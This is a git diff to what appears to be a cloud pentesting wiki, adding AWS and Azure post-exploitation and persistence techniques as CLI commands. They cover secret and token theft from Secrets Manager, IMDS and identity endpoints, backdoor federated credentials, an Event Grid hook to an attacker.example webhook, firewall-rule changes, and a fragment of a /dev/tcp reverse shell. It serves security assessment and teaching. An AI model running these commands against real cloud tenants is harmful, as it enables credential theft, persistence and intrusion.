diff --git a/src/SUMMARY.md b/src/SUMMARY.md index c1e6f6ab70..cc42b9e142 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -105,6 +105,7 @@ - [GCP - Cloud Domains Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-domains-post-exploitation.md) - [GCP - Cloud Functions Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-functions-post-exploitation.md) - [GCP - Cloud Run Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-run-post-exploitation.md) + - [GCP - Cloud Scheduler Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-scheduler-post-exploitation.md) - [GCP - Cloud Shell Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-shell-post-exploitation.md) - [GCP - DLP (Sensitive Data Protection) Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-dlp-post-exploitation.md) - [GCP - Cloud SQL Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-sql-post-exploitation.md) @@ -384,6 +385,7 @@ - [AWS - EFS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation/README.md) - [AWS - EKS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/README.md) - [AWS - Elastic Beanstalk Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation/README.md) + - [AWS - EventBridge Scheduler Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-eventbridge-scheduler-post-exploitation.md) - [AWS - Glue Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-glue-post-exploitation/README.md) - [AWS - IAM Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md) - [AWS resource-policy principal validation](pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/aws-resource-policy-principal-validation.md) @@ -417,7 +419,7 @@ - [AWS - Step Functions Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md) - [AWS - STS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation/README.md) - [AWS - VPN Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md) - - [Readme](pentesting-cloud/aws-security/aws-post-exploitation/aws-workmail-post-exploitation/README.md) + - [AWS - WorkMail Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-workmail-post-exploitation/README.md) - [AWS - Privilege Escalation](pentesting-cloud/aws-security/aws-privilege-escalation/README.md) - [AWS - Amplify Hosting Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-amplify-privesc/README.md) - [AWS - Apigateway Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc/README.md) @@ -640,8 +642,11 @@ - [Az - Enumeration Tools](pentesting-cloud/azure-security/az-enumeration-tools.md) - [Az - Unauthenticated Enum & Initial Entry](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/README.md) - [Az - Container Registry Unauth](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-container-registry-unauth.md) + - [Az - Cosmos DB Unauthenticated Enumeration](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-cosmosdb-unauth.md) - [Az - OAuth Apps Phishing](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-oauth-apps-phishing.md) - [Az - Storage Unauth](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-storage-unauth.md) + - [Az - Service Bus Initial Entry with Leaked Credentials](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-servicebus-unauth.md) + - [Az - SQL Unauthenticated Enumeration & Initial Entry](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-sql-unauth.md) - [Az - VMs Unauth](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-vms-unauth.md) - [Az - Monitor Alert Phishing](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-monitor-alert-phishing.md) - [Az - Device Code Authentication Phishing](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md) @@ -707,6 +712,7 @@ - [Az API Management Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md) - [Az Azure Ai Foundry Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md) - [Az - Blob Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md) + - [Az - Cloud Shell Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-cloud-shell-post-exploitation.md) - [Az - Container Registry Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-container-registry-post-exploitation.md) - [Az - CosmosDB Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md) - [Az - File Share Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md) @@ -781,11 +787,15 @@ - [Az - Persistence](pentesting-cloud/azure-security/az-persistence/README.md) - [Az - Automation Accounts Persistence](pentesting-cloud/azure-security/az-persistence/az-automation-accounts-persistence.md) - [Az - Cloud Shell Persistence](pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md) + - [Az - Entra ID Persistence](pentesting-cloud/azure-security/az-persistence/az-entraid-persistence.md) + - [Az - Key Vault Persistence](pentesting-cloud/azure-security/az-persistence/az-key-vault-persistence.md) - [Az - Logic Apps Persistence](pentesting-cloud/azure-security/az-persistence/az-logic-apps-persistence.md) + - [Az - Service Bus Persistence](pentesting-cloud/azure-security/az-persistence/az-servicebus-persistence.md) - [Az - SQL Persistence](pentesting-cloud/azure-security/az-persistence/az-sql-persistence.md) - [Az - Queue Storage Persistence](pentesting-cloud/azure-security/az-persistence/az-queue-persistence.md) - [Az - VMs Persistence](pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md) - [Az - Storage Persistence](pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md) + - [Az - Virtual Desktop Persistence](pentesting-cloud/azure-security/az-persistence/az-virtual-desktop-persistence.md) - [Az - Device Registration](pentesting-cloud/azure-security/az-device-registration.md) - [Digital Ocean Pentesting](pentesting-cloud/digital-ocean-pentesting/README.md) - [DO - Basic Information](pentesting-cloud/digital-ocean-pentesting/do-basic-information.md) diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence/README.md index d4e0d20f6b..3a9a08aea6 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence/README.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence/README.md @@ -45,6 +45,19 @@ If the assessment includes control of a domain's authoritative DNS zone: - Add a **TXT** SPF policy that authorizes a sender you control to send **email** using the domain. SPF lets a domain explicitly authorize hosts and lets receivers check that authorization; it is not a blanket guarantee that every recipient will accept the message.[[7]](#references) - Point the **apex** A/AAAA record at an endpoint you control. DNS maps the domain to that endpoint; relaying requests to the legitimate service requires a proxy or equivalent application-layer component, so DNS redirection alone is not a MitM.[[5]](#references) +### Non-expiring bucket access keys + +`aws lightsail create-bucket-access-key` returns a long-lived access-key/secret pair for a Lightsail bucket that **does not expire** and lives **outside the caller's IAM identity**. Revoking the IAM permission that minted it — or even deleting the compromised user — does **not** invalidate the key; bucket read/write continues until someone explicitly calls `delete-bucket-access-key`. Mint one, stash it, and you retain access to the bucket's objects across cleanup. + +```bash +aws lightsail create-bucket-access-key --bucket-name +# -> returns accessKeyId + secretAccessKey (non-expiring); use them as S3-compatible creds + +# List existing keys on a bucket (max 2 per bucket) +aws lightsail get-bucket-access-keys --bucket-name +``` + + ## References - [1] [Manage SSH key pairs and connect to your Lightsail instances](https://docs.aws.amazon.com/lightsail/latest/userguide/understanding-ssh-in-amazon-lightsail.html) diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eventbridge-scheduler-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eventbridge-scheduler-post-exploitation.md new file mode 100644 index 0000000000..9ecf93a064 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eventbridge-scheduler-post-exploitation.md @@ -0,0 +1,38 @@ +# AWS - EventBridge Scheduler Post Exploitation + +{{#include ../../../banners/hacktricks-training.md}} + +## Disrupt or hijack existing schedules + +`scheduler:DeleteSchedule` can remove automation used for backups, patching, billing exports, or operational jobs. Deletion does not require `iam:PassRole`: + +```bash +aws scheduler delete-schedule --name --group-name +``` + +With `scheduler:UpdateSchedule`, an attacker can disable a schedule or replace its target and input. `UpdateSchedule` is a replace operation, so all required settings must be supplied; omitted optional settings are reset to their defaults. Unlike deletion, updating a schedule also requires `iam:PassRole` for the execution role supplied in `Target.RoleArn`.[[1]](#references)[[2]](#references) + +```bash +# First preserve the settings that should not change. +aws scheduler get-schedule --name --group-name + +# Disable the schedule. Supply its current expression, target, and flexible window. +aws scheduler update-schedule --name --group-name \ + --schedule-expression '' \ + --flexible-time-window '{"Mode":"OFF"}' \ + --target '' \ + --state DISABLED + +# Or redirect execution when PassRole is allowed for the supplied role. +aws scheduler update-schedule --name --group-name \ + --schedule-expression '' \ + --flexible-time-window '{"Mode":"OFF"}' \ + --target '{"Arn":"","RoleArn":"","Input":""}' +``` + +## References + +- [1] [Changing the schedule state in EventBridge Scheduler](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-schedule-state.html) +- [2] [Actions, resources, and condition keys for Amazon EventBridge Scheduler](https://docs.aws.amazon.com/service-authorization/latest/reference/list_scheduler.html) + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md index 04c9fb772e..00c809d799 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md @@ -593,6 +593,26 @@ aws iam delete-role --role-name rds-proxy-secret-role aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery ``` +### Read the RDS-managed master password from Secrets Manager (`rds:DescribeDB*` + `secretsmanager:GetSecretValue`) + +When a DB instance or cluster is configured with **RDS-managed master credentials**, RDS stores the real master password in a Secrets Manager secret and exposes its ARN in the instance/cluster description. Any principal with `secretsmanager:GetSecretValue` on that secret (plus `kms:Decrypt` if a CMK is used) can read the live master credentials directly — no snapshot, restore, or password reset required, and far quieter than `ModifyDBInstance`. + +```bash +# 1) Find instances/clusters whose master password RDS manages in Secrets Manager +aws rds describe-db-instances \ + --query 'DBInstances[?MasterUserSecret!=null].{DB:DBInstanceIdentifier,User:MasterUsername,Secret:MasterUserSecret.SecretArn}' \ + --output table +aws rds describe-db-clusters \ + --query 'DBClusters[?MasterUserSecret!=null].{Cluster:DBClusterIdentifier,User:MasterUsername,Secret:MasterUserSecret.SecretArn}' \ + --output table + +# 2) Read the managed secret -> live master username/password +aws secretsmanager get-secret-value \ + --secret-id \ + --query SecretString --output text +``` + + ### Stealthy continuous exfiltration via Aurora zero‑ETL to Amazon Redshift (rds:CreateIntegration) Abuse an Aurora PostgreSQL zero‑ETL integration to continuously replicate production data into a Redshift Serverless namespace you control. With a permissive Redshift resource policy that authorizes `CreateInboundIntegration`/`AuthorizeInboundIntegration` for a specific Aurora cluster ARN, an attacker can establish a near‑real‑time data copy through the AWS control plane without DB credentials, snapshots, or a network path to the source.[[31]](#references)[[32]](#references)[[33]](#references)[[34]](#references) diff --git a/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md b/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md index ddcd7ba3e2..cbfbc08e6d 100644 --- a/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md +++ b/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md @@ -17,15 +17,6 @@ echo '(nohup /usr/bin/env /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/[[1]](#references) -Cloud Shell automatically authenticates Azure CLI and Azure PowerShell for the signed-in user. It exposes an alternative managed-identity-style endpoint through `$MSI_ENDPOINT` for requesting user tokens for supported audiences; this differs from the `169.254.169.254` IMDS endpoint used by Azure VMs.[[1]](#references)[[5]](#references)[[6]](#references)[[7]](#references) - -```bash -curl -s -G -H "Metadata:true" \ - --data-urlencode "api-version=2018-02-01" \ - --data-urlencode "resource=https://management.azure.com/" \ - "$MSI_ENDPOINT" -``` - ### Cloud Shell Phishing If an attacker has read and write access to the Azure file share backing another user's persistent Cloud Shell, they can tamper with that user's `.cloudconsole/acc_.img`. Microsoft warns that identities with sufficient inherited permissions can access Cloud Shell storage accounts and file shares, and recommends restricting access at the storage-account or subscription level.[[2]](#references) @@ -70,8 +61,5 @@ The final step is to induce the user to start a new session at `https://shell.az - [2] [Persist files in Azure Cloud Shell](https://learn.microsoft.com/en-us/azure/cloud-shell/persisting-shell-storage) - [3] [Bash Startup Files](https://www.gnu.org/software/bash/manual/html_node/Bash-Startup-Files.html) - [4] [Predictive IntelliSense in Azure Cloud Shell](https://learn.microsoft.com/en-us/azure/cloud-shell/cloud-shell-predictive-intellisense) -- [5] [Azure Cloud Shell frequently asked questions](https://learn.microsoft.com/en-us/azure/cloud-shell/faq-troubleshooting) -- [6] [Azure Cloud Shell, az login, and Managed Identity](https://edyoung.github.io/blog/cloud_shell_auth/) -- [7] [Some environment variables in Cloud Shell](https://edyoung.github.io/blog/vars/) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-persistence/az-entraid-persistence.md b/src/pentesting-cloud/azure-security/az-persistence/az-entraid-persistence.md new file mode 100644 index 0000000000..cfd51e2918 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-persistence/az-entraid-persistence.md @@ -0,0 +1,29 @@ +# Az - Entra ID Persistence + +{{#include ../../../banners/hacktricks-training.md}} + +## Federated identity credential on an application + +A federated identity credential (FIC) makes an Entra application trust tokens from an external OIDC workload, such as an attacker-controlled GitHub Actions repository or another supported issuer. The external workload can exchange a matching token for an Entra access token as the application's service principal without storing a client secret in Entra.[[1]](#references)[[2]](#references) + +Creating the FIC requires authority over the target application. For Microsoft Graph, delegated creation requires `Application.ReadWrite.All` plus a supported directory role (or ownership where supported), while application access can use `Application.ReadWrite.OwnedBy` for owned applications or `Application.ReadWrite.All` more broadly.[[1]](#references) + +```bash +az ad app federated-credential create --id --parameters '{ + "name": "backdoor-fic", + "issuer": "https://token.actions.githubusercontent.com", + "subject": "repo:attacker/repository:ref:refs/heads/main", + "audiences": ["api://AzureADTokenExchange"] +}' + +az ad app federated-credential list --id +``` + +The issuer, subject, and audience in the external token must exactly match the FIC. The resulting identity receives only permissions already granted to the application's service principal; adding a FIC does not grant new API or Azure RBAC permissions by itself. + +## References + +- [1] [Create federatedIdentityCredential](https://learn.microsoft.com/en-us/graph/api/federatedidentitycredential-post) +- [2] [Workload identity federation](https://learn.microsoft.com/en-us/entra/workload-id/workload-identity-federation) + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-persistence/az-key-vault-persistence.md b/src/pentesting-cloud/azure-security/az-persistence/az-key-vault-persistence.md new file mode 100644 index 0000000000..a9d4e695b3 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-persistence/az-key-vault-persistence.md @@ -0,0 +1,51 @@ +# Az - Key Vault Persistence + +{{#include ../../../banners/hacktricks-training.md}} + +## Backdoor a data-plane principal + +With permission to change a vault's access policies or create Azure role assignments at the vault scope, an attacker can grant an identity durable data-plane access. These are control-plane operations; having permission to read secrets alone is insufficient. + +```bash +# Access-policy vault +az keyvault set-policy --name --object-id \ + --secret-permissions get list + +# Azure RBAC vault +az role assignment create --assignee \ + --role "Key Vault Secrets User" \ + --scope "/subscriptions//resourceGroups//providers/Microsoft.KeyVault/vaults/" +``` + +## Retain restorable object backups + +Key Vault backup operations return an encrypted blob for an individual key, secret, or certificate. The blob cannot be decrypted offline. It can only be restored to a vault in the **same Azure subscription and Azure geography**, and restoring it requires the corresponding data-plane restore permission.[[1]](#references) + +Within those constraints, retaining a backup can preserve a point-in-time copy after the original object is rotated or deleted. A restored copy is independent of the original. + +```bash +az keyvault secret backup --vault-name --name --file secret.backup +az keyvault key backup --vault-name --name --file key.backup +az keyvault certificate backup --vault-name --name --file certificate.backup +``` + +## Event Grid notification for new versions + +Key Vault emits Event Grid events such as `Microsoft.KeyVault.SecretNewVersionCreated`. A resource-level Event Grid subscription can provide a durable notification channel to an attacker-controlled webhook: + +```bash +az eventgrid event-subscription create --name kv-version-notify \ + --source-resource-id "/subscriptions//resourceGroups//providers/Microsoft.KeyVault/vaults/" \ + --endpoint https://attacker.example/webhook \ + --included-event-types Microsoft.KeyVault.SecretNewVersionCreated +``` + +The event contains metadata, not the secret value. Retrieving the new value still requires valid Key Vault data-plane access, and webhook endpoints must complete Event Grid endpoint validation.[[2]](#references)[[3]](#references) + +## References + +- [1] [Back up a secret, key, or certificate stored in Azure Key Vault](https://learn.microsoft.com/en-us/azure/key-vault/general/backup) +- [2] [Azure Key Vault as Event Grid source](https://learn.microsoft.com/en-us/azure/event-grid/event-schema-key-vault) +- [3] [Event Grid webhook event delivery](https://learn.microsoft.com/en-us/azure/event-grid/webhook-event-delivery) + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-persistence/az-servicebus-persistence.md b/src/pentesting-cloud/azure-security/az-persistence/az-servicebus-persistence.md new file mode 100644 index 0000000000..6a4ad06cad --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-persistence/az-servicebus-persistence.md @@ -0,0 +1,24 @@ +# Az - Service Bus Persistence + +{{#include ../../../banners/hacktricks-training.md}} + +## Durable copy through a new topic subscription + +A principal with `Microsoft.ServiceBus/namespaces/topics/subscriptions/write` on a topic can create a subscription that receives its own copy of matching messages. New subscriptions have an initial default rule with a true filter, so a separate `1=1` rule is unnecessary unless the default rule has been removed or changed.[[1]](#references)[[2]](#references) + +```bash +az servicebus topic subscription create \ + --resource-group \ + --namespace-name \ + --topic-name \ + --name +``` + +The subscription persists and accumulates a copy of future matching messages until it is removed or its retention limits expire. Creating it does **not** grant data-plane receive access: the attacker still needs a `Listen` credential or an Entra role that can receive from that subscription. Subscription limits, message TTL, auto-delete settings, and namespace network controls also bound the technique. + +## References + +- [1] [Service Bus queues, topics, and subscriptions](https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-queues-topics-subscriptions) +- [2] [Set subscription filters in Azure Service Bus](https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-filter-examples) + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-persistence/az-virtual-desktop-persistence.md b/src/pentesting-cloud/azure-security/az-persistence/az-virtual-desktop-persistence.md new file mode 100644 index 0000000000..e602478f85 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-persistence/az-virtual-desktop-persistence.md @@ -0,0 +1,17 @@ +# Az - Virtual Desktop Persistence + +{{#include ../../../banners/hacktricks-training.md}} + +## FSLogix profile and session-host implants + +With write access to an Azure Virtual Desktop user's FSLogix profile container, an attacker can alter user-level startup locations that are loaded when the profile is attached on later sessions. This can persist across pooled session hosts because the profile container follows the user. The exact payload and permissions depend on the profile's contents, storage ACLs, and endpoint protections.[[1]](#references) + +On a personal or otherwise non-ephemeral session host where the attacker has administrative access, OS-level autoruns or scheduled tasks can instead persist on that VM. This does not automatically persist on rebuilt or replaced pooled hosts. + +These techniques require write access to the profile or host. Merely retrieving a host-pool registration token does not grant that access; registration-token abuse and its additional prerequisites are covered in [Virtual Desktop Privesc](../az-privilege-escalation/az-virtual-desktop-privesc.md). + +## References + +- [1] [FSLogix profile containers in Azure Virtual Desktop](https://learn.microsoft.com/en-us/azure/virtual-desktop/fslogix-profile-container-configure) + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-cloud-shell-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-cloud-shell-post-exploitation.md new file mode 100644 index 0000000000..28791e1c49 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-cloud-shell-post-exploitation.md @@ -0,0 +1,42 @@ +# Az - Cloud Shell Post Exploitation + +{{#include ../../../banners/hacktricks-training.md}} + +## Access tokens from the Cloud Shell session + +Azure Cloud Shell automatically authenticates Azure CLI and Azure PowerShell as the signed-in user. It exposes a local token endpoint through `$MSI_ENDPOINT`; unlike an Azure VM, Cloud Shell does not use the VM IMDS endpoint at `169.254.169.254` for this flow.[[1]](#references)[[2]](#references) + +From code already running in the user's Cloud Shell session, request tokens only for audiences accepted by the endpoint and authorized for that user. For example: + +```bash +# Azure Resource Manager +curl -s -G -H "Metadata:true" \ + --data-urlencode "api-version=2018-02-01" \ + --data-urlencode "resource=https://management.azure.com/" \ + "$MSI_ENDPOINT" + +# Microsoft Graph, when the endpoint and session authorize this audience +curl -s -G -H "Metadata:true" \ + --data-urlencode "api-version=2018-02-01" \ + --data-urlencode "resource=https://graph.microsoft.com/" \ + "$MSI_ENDPOINT" +``` + +The returned bearer token can be replayed off-host until it expires. It does not outlive its token lifetime merely because the Cloud Shell session ends. + +## Azure CLI artifacts in persistent storage + +When persistent Cloud Shell storage is mounted, inspect `~/.azure/` for Azure CLI profile and authentication artifacts such as `azureProfile.json` and an MSAL token cache. File names and whether reusable tokens are present depend on the installed CLI version and authentication flow; do not assume every cache contains an exportable refresh token. + +```bash +find ~/.azure -maxdepth 2 -type f -print +``` + +Copying a reusable token cache is credential theft and post-exploitation. Planting startup commands in the persistent home directory is a separate persistence technique covered in [Cloud Shell Persistence](../az-persistence/az-cloud-shell-persistence.md). + +## References + +- [1] [What is Azure Cloud Shell?](https://learn.microsoft.com/en-us/azure/cloud-shell/overview) +- [2] [Azure Cloud Shell frequently asked questions](https://learn.microsoft.com/en-us/azure/cloud-shell/faq-troubleshooting) + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md index dddab701bc..49ce7f7c30 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md @@ -17,8 +17,45 @@ For more information about function apps check: ../az-privilege-escalation/az-functions-app-privesc.md {{#endref}} +### Steal managed-identity tokens via `$IDENTITY_ENDPOINT` + +Once you can run code inside a Function App, the local token endpoint is **not** the VM IMDS `169.254.169.254` — App Service/Functions expose a per-app endpoint through the `$IDENTITY_ENDPOINT` environment variable, protected by a secret in `$IDENTITY_HEADER`. Request a token for each attached managed identity (one system-assigned + any number of user-assigned) and pivot to whatever those identities can reach across the tenant: + +```bash +# System-assigned identity (bash / from function code) +curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2019-08-01" \ + -H "X-IDENTITY-HEADER: $IDENTITY_HEADER" +# User-assigned identity: append &client_id= (or &mi_res_id=) +``` + +```powershell +# PowerShell equivalent +Invoke-RestMethod -Uri "$env:IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2019-08-01" ` + -Headers @{ "X-IDENTITY-HEADER" = $env:IDENTITY_HEADER } +``` + +Enumerate and mint a token for **each** identity — one function often unlocks several. + +### Pivot through key-based host-storage settings + +When `AzureWebJobsStorage` or `WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` contains a **key-based storage connection string**, reading the setting (for example through `az functionapp config appsettings list`, `Microsoft.Web/sites/config/list/action`, or the function's environment) exposes the storage account key. That key can authorize access to the account's supported blob, file, queue, and table services and can sign account SAS tokens. The exact reach still depends on network controls and service configuration. + +This does **not** apply when host storage uses an identity-based configuration such as `AzureWebJobsStorage__accountName`/service URIs with `AzureWebJobsStorage__credential=managedidentity`, or when a setting is a Key Vault reference whose value the compromised identity cannot resolve.[[1]](#references) + +```bash +# Check whether the app uses key-based connection strings +az functionapp config appsettings list --name --resource-group \ + --query "[?name=='AzureWebJobsStorage' || name=='WEBSITE_CONTENTAZUREFILECONNECTIONSTRING']" + +# Use the connection string as a full storage key +az storage blob list --connection-string "" --container-name -o table +az storage account generate-sas --connection-string "" \ + --services bfqt --resource-types sco --permissions rwdlacup --expiry 2030-01-01 +``` ## References +- [1] [App settings reference for Azure Functions](https://learn.microsoft.com/en-us/azure/azure-functions/functions-app-settings) + {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md index 940c629f99..589d582a32 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md @@ -117,6 +117,15 @@ Allows a principal to recover a previously deleted key from an Azure Key Vault:< az keyvault key recover --vault-name --name ``` +### Export an exportable certificate/PFX to impersonate a service + +An exportable certificate stored in the vault can authenticate an application or service principal. For an exportable certificate created or imported with a private key, the backing Key Vault secret contains the certificate and private key. A principal with permission to read that secret can download the PFX and reuse it until the certificate expires, is rotated, or is revoked. Non-exportable keys, including keys generated in or imported into a managed HSM, do not expose their private key this way.[[6]](#references)[[7]](#references) + +```bash +az keyvault secret download --vault-name --name \ + --encoding base64 --file exported-cert.pfx +``` + ## References - [1] [Azure permissions for Security - Azure RBAC](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/security) @@ -125,5 +134,6 @@ az keyvault key recover --vault-name --name - [4] [az keyvault certificate](https://learn.microsoft.com/en-us/cli/azure/keyvault/certificate?view=azure-cli-lts) - [5] [Azure Key Vault recovery management with soft delete and purge protection](https://learn.microsoft.com/en-us/azure/key-vault/general/key-vault-recovery) - [6] [Azure Key Vault keys, secrets, and certificates overview](https://learn.microsoft.com/en-us/azure/key-vault/general/about-keys-secrets-certificates) +- [7] [Export certificates from Azure Key Vault](https://learn.microsoft.com/en-us/azure/key-vault/certificates/how-to-export-certificate) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-virtual-desktop-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-virtual-desktop-post-exploitation.md index 71d2b685dc..abe32258f8 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-virtual-desktop-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-virtual-desktop-post-exploitation.md @@ -18,6 +18,18 @@ For more info about Virtual Desktop check the following page: - Techniques that apply to the underlying **Azure VMs** can also apply after compromising a session host. - A pooled host-pool session-host configuration can include a custom PowerShell script, and Azure documents running the configured script URL during deployment; control of that configuration or referenced script is therefore a code-execution and persistence path on newly deployed hosts.[[5]](#references)[[6]](#references) +### Managed-identity token theft on the session host + +Every session host is an Azure VM, so once you have a shell (or `runCommand`/admin) on one, the highest-value primitive is **managed-identity token theft from IMDS**. The default system-assigned identity starts permission-less, but any rights granted to it — or to a user-assigned identity attached to the host — become yours: + +```bash +# From on the session host (SYSTEM/user context) +curl -H Metadata:true \ + "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" +``` + +Combine with run-command, OS-disk snapshot access, and VNet/NSG network pivoting exactly as for any Azure VM. Landing on the host to inherit the VM's Azure reach is usually the real objective. + ## References - [1] [Add and manage App Attach applications in Azure Virtual Desktop](https://learn.microsoft.com/en-us/azure/virtual-desktop/app-attach-setup) diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md index 9768836a37..9e46720382 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md @@ -181,6 +181,33 @@ az vm application set \ --treat-deployment-as-failure true ``` +### Harvest boot diagnostics logs + +If **boot diagnostics** is enabled on a VM, its serial/boot log is readable straight from the control plane **without any guest access**. That log frequently captures cloud-init/provisioning output, error dumps, and occasionally credentials or tokens printed during boot — making it a quick secret-harvesting primitive against VMs you can read but can't yet log into. See [az vm boot-diagnostics](https://learn.microsoft.com/en-us/cli/azure/vm/boot-diagnostics?view=azure-cli-latest). + +```bash +az vm boot-diagnostics get-boot-log --name --resource-group +``` + +### Network pivoting (NSG rule / route-table writes) + +From a foothold, the network fabric itself is a lateral-movement lever. By default **all subnets in a VNet can talk freely**, so one compromised subnet usually reaches the rest at L3. Where a target is firewalled off, control-plane write access to the filtering layer opens a path to it: + +- With `Microsoft.Network/networkSecurityGroups/write` you can **add an inbound allow rule** to reach a previously isolated VM (e.g. open 22/3389 from your IP). +- With route-table write (`Microsoft.Network/routeTables/*`) you can **reroute or blackhole** traffic — for example steer `0.0.0.0/0` through a host you control to intercept a subnet's egress. + +```bash +# Open RDP to an isolated VM from the attacker's IP +az network nsg rule create --resource-group --nsg-name --name 